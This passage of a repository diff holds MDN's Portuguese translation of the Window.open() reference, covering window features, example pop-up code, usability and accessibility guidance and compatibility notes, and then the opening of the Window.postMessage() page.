If this feature is on, then the new secondary window renders the Navigation Toolbar (Back, Forward, Reload, Stop buttons). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window. (If this feature is set to no all toolbars in the window will be invisible, for example extension toolbars).
-
Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting dom.disable_window_open_feature.toolbar to true in about:config or in their user.js file.
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
location
-
If this feature is on, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.
-
Mozilla and Firefox users can force new windows to always render the location bar by setting dom.disable_window_open_feature.location to true in about:config or in their user.js file. {{Fx_minversion_note(3, "In Firefox 3, dom.disable_window_open_feature.location now defaults to true, forcing the presence of the Location Bar much like in IE7. See bug 337344 for more information.")}}
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
-
personalbar
-
If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.
-
Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting dom.disable_window_open_feature.personalbar to true in about:config or in their user.js file.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
directories {{obsolete_inline("2")}}
-
Obsolete synonym of personalbar. In IE, it rendered the Links bar. Supported in Gecko up to 1.9.2 and in IE up to 6.
-
status
-
If this feature is on, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (Note on status bar in XP SP2) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.
-
Note on status bar
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
- -

Funcionalidades da função da janela

- -
-
attention {{NonStandardBadge}}
-
If this feature is specified, the window is able to open even if another application is already in the foreground. This feature is for Firefox OS applications only, and is currently restricted to certified applications. See {{SectionOnPage("/en-US/Apps/Build/App_permissions", "Certified app permissions")}} for more information.
-
Supported in:
-
dependent
-
If on, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.
-
Dependent windows are not implemented on MacOS X, this option will be ignored.
-
The dependent feature is currently under revision to be removed ({{Bug(214867)}})
-
In MSIE 6, the nearest equivalent to this feature is the showModelessDialog() method.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
minimizable
-
This setting can only apply to dialog windows; "minimizable" requires dialog=yes. If minimizable is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and minimizable=no will be ignored.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
fullscreen
-
Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.
-
This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.
-
fullscreen always upsets users with large monitor screen or with dual monitor screen. Forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.
-
Note on fullscreen
-
Supported in: Internet Explorer 5+
-
fullscreen does not really work in MSIE 6 SP2.
-
noopener
-
If this feature is set, the newly-opened window will open as normal, except that it will not have access back to the originating window (via {{domxref("Window.opener")}} — it returns null). In addition, the window.open() call will also return null, so the originating window will not have access to the new one either.  This is useful for preventing untrusted sites opened via window.open() from tampering with the originating window, and vice versa.
-
Note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab.
-
- This is supported in modern browsers including Chrome, and Firefox 52+. See also rel="noopener".
-
resizable
-
If this feature is on, the new secondary window will be resizable.
-
Note: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar. -

Starting with Firefox 3, secondary windows are always resizable ({{Bug(177838)}})

- -
-

Dica: For accessibility reasons, it is strongly recommended to set this feature always on

-
-
-
Mozilla and Firefox users can force new windows to be easily resizable by setting dom.disable_window_open_feature.resizable to true in about:config or in their user.js file.
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
scrollbars
-
If this feature is on, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport. -
-

Dica: For accessibility reasons, it is strongly encouraged to set this feature always on.

-
-
-
Mozilla and Firefox users can force this option to be always enabled for new windows by setting {{pref("dom.disable_window_open_feature.scrollbars")}} to true in about:config or in their user.js file. Starting in Firefox 49, this feature is on by default, and the {{pref("dom.disable_window_open_feature.scrollbars")}} preference has been removed.
-
Note on scrollbars
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
- -

Funcionalidades que requerem privilégios

- -

The following features require the UniversalBrowserWrite privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the PrivilegeManager.

- -
-
chrome
-
Note: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the UniversalBrowserWrite privilege ({{Bug(244965)}}). Without this privilege, it is ignored.
-
If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
dialog
-
Note: Starting with Firefox 44, this feature can only be used with chrome privileges. If content attempts to toggle this feature, it will be ignored.
-
MenuSystemCommands.png The dialog feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
modal
-
Note: Starting with Mozilla 1.2.1, this feature requires the UniversalBrowserWrite privilege ({{Bug(180048)}}). Without this privilege, it is ignored.
-
If on, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the alert() function.
-
The exact behavior of modal windows depends on the platform and on the Mozilla release version. -
-

Nota: As of {{Gecko("1.9")}}, the Internet Explorer equivalent to this feature is the {{domxref("window.showModalDialog()")}} method. For compatibility reasons, it's now supported in Firefox. Note also that starting in {{Gecko("2.0")}}, you can use {{domxref("window.showModalDialog()")}} without UniversalBrowserWrite privileges.

-
-
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
titlebar
-
By default, all new secondary windows have a titlebar. If set to no or 0, this feature removes the titlebar from the new secondary window.
-
Mozilla and Firefox users can force new windows to always render the titlebar by setting
- dom.disable_window_open_feature.titlebar
- to true in about:config or in their user.js file.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
alwaysRaised
-
If on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
alwaysLowered
-
If on, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
z-lock
-
Same as alwaysLowered.
-
close
-
When set to no or 0, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (dialog feature set). close=no will override minimizable=yes.
-
Mozilla and Firefox users can force new windows to always have a close button by setting
- dom.disable_window_open_feature.close
- to true in about:config or in their user.js file.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
- -

The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a yes or no; you can use 1 instead of yes and 0 instead of no. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the features string. If you supply the features parameter, then the titlebar and close are still yes by default, but the other features which have a yes/no choice will be no by default and will be turned off.

- -

Example:

- -
var windowObjectReference; // global variable
-
-function openRequestedPopup() {
-  windowObjectReference = window.open(
-    "http://www.domainname.ext/path/ImgFile.png",
-    "DescriptiveWindowName",
-    "width=420,height=230,resizable,scrollbars=yes,status=1"
-  );
-}
- -

In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), he added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.

- -

As melhores práticas

- -
<script type="text/javascript">
-var windowObjectReference = null; // global variable
-
-function openFFPromotionPopup() {
-  if(windowObjectReference == null || windowObjectReference.closed)
-  /* if the pointer to the window object in memory does not exist
-     or if such pointer exists but the window was closed */
-
-  {
-    windowObjectReference = window.open("http://www.spreadfirefox.com/",
-   "PromoteFirefoxWindowName", "resizable,scrollbars,status");
-    /* then create it. The new window will be created and
-       will be brought on top of any other window. */
-  }
-  else
-  {
-    windowObjectReference.focus();
-    /* else the window reference must exist and the window
-       is not closed; therefore, we can bring it back on top of any other
-       window with the focus() method. There would be no need to re-create
-       the window or to reload the referenced resource. */
-  };
-}
-</script>
-
-(...)
-
-<p><a
- href="http://www.spreadfirefox.com/"
- target="PromoteFirefoxWindowName"
- onclick="openFFPromotionPopup(); return false;"
- title="This link will create a new window or will re-use an already opened one"
->Promote Firefox adoption</a></p>
-
- -

The above code solves a few usability problems related to links opening secondary window. The purpose of the return false in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".

- -

More reading on the use of the target attribute:

- -

HTML 4.01 Target attribute specifications

- -

How do I create a link that opens a new window?

- -

You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:

- -
<script type="text/javascript">
-var windowObjectReference = null; // global variable
-
-function openRequestedPopup(strUrl, strWindowName) {
-  if(windowObjectReference == null || windowObjectReference.closed) {
-    windowObjectReference = window.open(strUrl, strWindowName,
-           "resizable,scrollbars,status");
-  } else {
-    windowObjectReference.focus();
-  };
-}
-</script>
-
-(...)
-
-<p><a
- href="http://www.spreadfirefox.com/"
- target="PromoteFirefoxWindow"
- onclick="openRequestedPopup(this.href, this.target); return false;"
- title="This link will create a new window or will re-use an already opened one"
->Promote Firefox adoption</a></p>
-
- -

You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:

- -
<script type="text/javascript">
-var windowObjectReference = null; // global variable
-var PreviousUrl; /* global variable which will store the
-                    url currently in the secondary window */
-
-function openRequestedSinglePopup(strUrl) {
-  if(windowObjectReference == null || windowObjectReference.closed) {
-    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
-         "resizable,scrollbars,status");
-  } else if(PreviousUrl != strUrl) {
-    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
-      "resizable=yes,scrollbars=yes,status=yes");
-    /* if the resource to load is different,
-       then we load it in the already opened secondary window and then
-       we bring such window back on top/in front of its parent window. */
-    windowObjectReference.focus();
-  } else {
-    windowObjectReference.focus();
-  };
-
-  PreviousUrl = strUrl;
-  /* explanation: we store the current url in order to compare url
-     in the event of another call of this function. */
-}
-</script>
-
-(...)
-
-<p><a
- href="http://www.spreadfirefox.com/"
- target="SingleSecondaryWindowName"
- onclick="openRequestedSinglePopup(this.href); return false;"
- title="This link will create a new window or will re-use an already opened one"
->Promote Firefox adoption</a></p>
-
-<p><a
- href="http://www.mozilla.org/support/firefox/faq"
- target="SingleSecondaryWindowName"
- onclick="openRequestedSinglePopup(this.href); return false;"
- title="This link will create a new window or will re-use an already opened one"
->Firefox FAQ</a></p>
-
- -

Perguntas Mais Frequentes

- -
-
How can I prevent the confirmation message asking the user whether he wants to close the window?
-
You can not. New windows not opened by javascript can not as a rule be closed by JavaScript. The JavaScript Console in Mozilla-based browsers will report the warning message: "Scripts may not close windows that were not opened by script." Otherwise the history of URLs visited during the browser session would be lost.
-
More on the window.close() method
-
How can I bring back the window if it is minimized or behind another window?
-
First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the focus() method. There is no other reliable way. You can examine an example explaining how to use the focus() method.
-
How do I force a maximized window?
-
You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.
-
How do I turn off window resizability or remove toolbars?
-
You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in about:config. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.
-
How do I resize a window to fit its content?
-
You can not reliably because the users can prevent the window from being resized by unchecking the Edit/Preferences/Advanced/Scripts & Plug-ins/Allow Scripts to/ Move or resize existing windows checkbox in Mozilla or Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows checkbox in Firefox or by setting dom.disable_window_move_resize to true in about:config or by editing accordingly their user.js file.
-
In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.
-
The window method sizeToContent() is also disabled if the user unchecks the preference Move or resize existing windows checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.
-
How do I open a referenced resource of a link in a new tab? or in a specific tab?
-
To open a resource in a new tab see Tabbed browser. Some Code snippets are available. If you are using the SDK, tabs are handled a bit differently
-
K-meleon 1.1, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Only the user can set his advanced preferences to do that. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.
-
In a few years, the target property of the CSS3 hyperlink module may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.
-
How do I know whether a window I opened is still open?
-
You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that windowObjectReference.closed return value is false.
-
How can I tell when my window was blocked by a popup blocker?
-
With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of window.open(): it will be null if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.
-
What is the JavaScript relationship between the main window and the secondary window?
-
The window.open() method gives a main window a reference to a secondary window; the opener property gives a secondary window a reference to its main window.
-
I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error: uncaught exception: Permission denied to get property <property_name or method_name>. Why is that?
-
It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) cannot get nor set properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.
-
More reading on the cross-domain script security restriction: http://www.mozilla.org/projects/secu...me-origin.html
-
- -

Problemas de usabilidade

- -

Evitar o recurso a window.open()

- -

Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:

- -
    -
  • All Mozilla-based browsers offer tab-browsing and this is the preferred mode of opening referenced resources (SDK)... not just in Mozilla-based browsers but in all other browsers offering tab-browsing. In other words, tab-capable browser users overall prefer opening new tabs than opening new windows in a majority of webpage situations. Tab-capable browsers have rapidly gained support and enthusiasm on internet in the last 3 years; this trend will not revert back. MSIE 7, released in October 2006, has full support for tab browsing.
  • -
  • There are now several Mozilla extensions (like Multizilla) and Firefox extensions (like Tabbrowser preferences), features, settings and advanced preferences based on tab-browsing and based on converting window.open() calls into opening tabs, based on neutralizing window.open() calls, in particular in neutralizing unrequested openings of new windows (often referred as blocking unrequested popups or as blocking script-initiated windows opening automatically). Such features found in extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "background" or not. Coding carelessly to open new windows can no longer be assured of success, can not succeed by force and, if it does, it will annoy a majority of users.
  • -
  • New windows can have menubar missing, scrollbars missing, status bar missing, window resizability disabled, etc.; new tabs can not be missing those functionalities or toolbars (or at least, the toolbars which are present by default). Therefore, tab-browsing is preferred by a lot of users because the normal user-interface of the browser window they prefer is kept intact, remains stable.
  • -
  • Opening new windows, even with reduced features, uses considerably a lot of the user's system resources (cpu, RAM) and involves considerably a lot of coding in the source code (security management, memory management, various code branchings sometimes quite complex, window frame/chrome/toolbars building, window positioning and sizing, etc.). Opening new tabs is less demanding on the user's system resources (and faster to achieve) than opening new windows.
  • -
- -

Oferecer para abrir uma hiperligação numa nova janela, utilizando estas linhas diretrizes

- -

If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:

- - - -

"javascript:" links break accessibility and usability of webpages in every browser.

- -
    -
  • "javascript:" pseudo-links become dysfunctional when javascript support is disabled or inexistent. Several corporations allow their employees to surf on the web but under strict security policies: no javascript enabled, no java, no activeX, no Flash. For various reasons (security, public access, text browsers, etc..), about 5% to 10% of users on the web surf with javascript disabled.
  • -
  • "javascript:" links will interfere with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, tab-browsing features in extensions, etc.
  • -
  • "javascript:" links will interfere with the process of indexing webpages by search engines.
  • -
  • "javascript:" links interfere with assistive technologies (e.g. voice browsers) and several web-aware applications (e.g. PDAs and mobile browsers).
  • -
  • "javascript:" links also interfere with "mouse gestures" features implemented in browsers.
  • -
  • Protocol scheme "javascript:" will be reported as an error by link validators and link checkers.
  • -
- -

Further reading:

- - - -

Never use <a href="#" onclick="window.open(...);">

- -

Such pseudo-link also breaks accessibility of links. Always use a real URL for the href attribute value so that if javascript support is disabled or inexistent or if the user agent does not support opening of secondary window (like MS-Web TV, text browsers, etc), then such user agents will still be able to load the referenced resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features.

- - - -

Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.

- -

The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).

- -
-

"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out Back button."
- quote from The Top Ten New Mistakes of Web Design: 2. Opening New Browser Windows, Jakob Nielsen, May 1999

-
- -

When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).

- -

Referências

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Example "New Window" Icons & Cursors
New window icon from yahoo.comNew window icon from microsoft.comNew window icon from webaim.orgNew window icon from sun.com
New window icon from bbc.co.ukNew window icon from Accessible Internet SolutionsNew window icon from accessify.comNew window icon from webstyleguide.com
New window icon from an unknown sourceNew window icon from an unknown sourceNew window icon from an unknown sourceNew window icon from gtalbot.org
New window cursor from draig.deNew window cursor from mithgol.ru
- -

Utilziar sempre o atributo target

- -

If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - not impose - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.

- -

Não utilizar target="_blank"

- -

Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it should not interfere with the user's final choice but rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).

- -

Glossário

- -
-
Opener window, parent window, main window, first window
-
Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.
-
Sub-window, child window, secondary window, second window
-
Terms often used to describe or to identify the same window. It is the new window which was created.
-
Unrequested popup windows
-
Script-initiated windows opening automatically without the user's consent.
-
- -

Especificação

- - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'browsers.html#dom-open', 'Window.open()')}}{{Spec2('HTML WHATWG')}} 
{{ SpecName('CSSOM View', '#the-features-argument-to-the-open()-method', 'The features argument to the open() method') }}{{ Spec2('CSSOM View') }}Defines the effect of the features argument
- -

Notas

- -

Nota na precedência

- -

In cases where left and screenX (and/or top and screenY) have conflicting values, then left and top have precedence over screenX and screenY respectively. If left and screenX (and/or top and screenY) are defined in the features list, then left (and/or top) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.

- -
windowObjectReference = window.open(
-  "http://news.bbc.co.uk/",
-  "BBCWorldNewsWindowName",
-  "left=100,screenX=200,resizable,scrollbars,status"
-);
- -

If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.

- -

outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.

- -
windowObjectReference = window.open(
-  "http://www.wwf.org/",
-  "WWildlifeOrgWindowName",
-  "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"
-);
- -

Nota na correção de erro da posição e dimensão

- -

Requested position and requested dimension values in the features list will not be honored and will be corrected if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.

- -

MSIE 6 SP2 has a similar error correction mechanism but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.

- -

Nota nas scrollbars

- -

When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:

- -
    -
  • user resizes the window
  • -
  • user increases the text size of fonts via View/Text Zoom (%) menuitem in Mozilla or View/Text Size/Increase or Decrease in Firefox
  • -
  • user sets a minimum font size for pages which is bigger than the font-size the web author requested. People over 40 years old or with particular viewing habit or reading preference often set a minimal font size in Mozilla-based browsers.
  • -
  • web author is not aware of default margin (and/or border and/or padding) values applying to root element or body node in various browsers and various browser versions
  • -
  • user uses an user stylesheet (userContent.css in Mozilla-based browsers) for his viewing habits which increases document box dimensions (margin, padding, default font size)
  • -
  • user can customize individually the size (height or width) of most toolbars via operating system settings. E.g. window resizing borders, height of browser titlebar, menubar, scrollbars, font size are entirely customizable by the user in Windows XP operating system. These toolbars dimensions can also be set via browser themes and skins or by operating system themes
  • -
  • web author is unaware that the user default browser window has custom toolbar(s) for specific purpose(s); e.g.: prefs bar, web developer bar, accessibility toolbar, popup blocking and search toolbar, multi-feature toolbar, etc.
  • -
  • user uses assistive technologies or add-on features which modify the operating system's work area for applications: e.g. MS-Magnifier
  • -
  • user repositions and/or resizes directly or indirectly the operating system's work area for applications: e.g. user resizes the Windows taskbar, user positions the Windows taskbar on the left side (arabic language based) or right side (Hebrew language), user has a permanent MS-Office quick launch toolbar, etc.
  • -
  • some operating system (Mac OS X) forces presence of toolbars which can then fool the web author's anticipations, calculations of the effective dimensions of the browser window
  • -
- -

Nota na barra de estado

- -

You should assume that a large majority of browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with SSL connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.

- -

Nota nos problemas de segurança da presença da barra de estado

- -

In MSIE 6 for XP SP2: For windows opened using window.open():

- -
-

"For windows opened using window.open():
- Expect the status bar to be present, and code for it. The status bar will be on by default and is 20-25 pixels in height. (...)"
- quote from Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2

-
- -
-

"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.
- Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)
- Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar. (...)
- Script management of Internet Explorer status bar
- Detailed description
- Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows. (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.
- The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"
- quote from Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions

-
- -

Nota no ecrã completo

- -

In MSIE 6 for XP SP2:

- -
    -
  • "window.open() with fullscreen=yes will now result in a maximized window, not a kiosk mode window."
  • -
  • "The definition of the fullscreen=yes specification is changed to mean 'show the window as maximized,' which will keep the title bar, address bar, and status bar visible."
  • -
- -

Referências:

- - - -

Nota em outerHeight versus height

- -

innerHeight vs outerHeight illustration

- -

Nota na atualização (recarregar página) vs. abrir uma nova janela/separador

- -

If the strWindowName parameter is omitted, a new window or tab is opened. If a window with the same name already exists, the existing window is refreshed.

- -
//Always opens a new window/tab
-window.open("map.php");
-
-//Refreshes an existing window/tab that was opened with the same name, if one exists
-window.open("map.php", "BiggerMap");
- -

Tutoriais

- - - -

Referências

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/window/postmessage/index.html b/files/pt-pt/web/api/window/postmessage/index.html deleted file mode 100644 index 2787caaa32..0000000000 --- a/files/pt-pt/web/api/window/postmessage/index.html +++ /dev/null @@ -1,337 +0,0 @@ ---- -title: Window.postMessage() -slug: Web/API/Window/postMessage -tags: - - API - - DOM - - Janela - - Referencia - - metodo -translation_of: Web/API/Window/postMessage ---- -
{{ApiRef("HTML DOM")}}
- -

O método window.postMessage()  permite a comunicação segura de origem cruzada. Normalmente, é permitido que os scripts em páginas diferentes podem aceder a cada uma delas, se e apenas se as páginas que os executaram estão em localizações com o mesmo protocolo (normalmente ambas https), número da porta (443, por predefinição para https), e anfitrião (módulo {{domxref("Document.domain")}}, sendo definidos por ambas as páginas para o mesmo valor). window.postMessage() fornece um mecanismo para contornar esta restrição de um modo que é seguro quando utilizado corretamente.

- -

The window.postMessage() method, when called, causes a {{domxref("MessageEvent")}} to be dispatched at the target window when any pending script that must be executed completes (e.g., remaining event handlers if window.postMessage() is called from an event handler, previously-set pending timeouts, etc.) The {{domxref("MessageEvent")}} has the type message, a data property which is set to the value of the first argument provided to window.postMessage(), an origin property corresponding to the origin of the main document in the window calling window.postMessage at the time window.postMessage() was called, and a source property which is the window from which window.postMessage() is called. (Other standard properties of events are present with their expected values.)

- -

Sintaxe

- -
otherWindow.postMessage(message, targetOrigin, [transfer]);
- -
-
otherWindow
-
A reference to another window; such a reference may be obtained, for example, using the contentWindow property of an iframe element, the object returned by window.open, or by named or numeric index on {{domxref("Window.frames")}}, if you're trying to start the communication from iframe to parent window then parent is also a valid reference
-
message
-
Data to be sent to the other window. The data is serialized using the structured clone algorithm. This means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself. [1]
-
targetOrigin
-
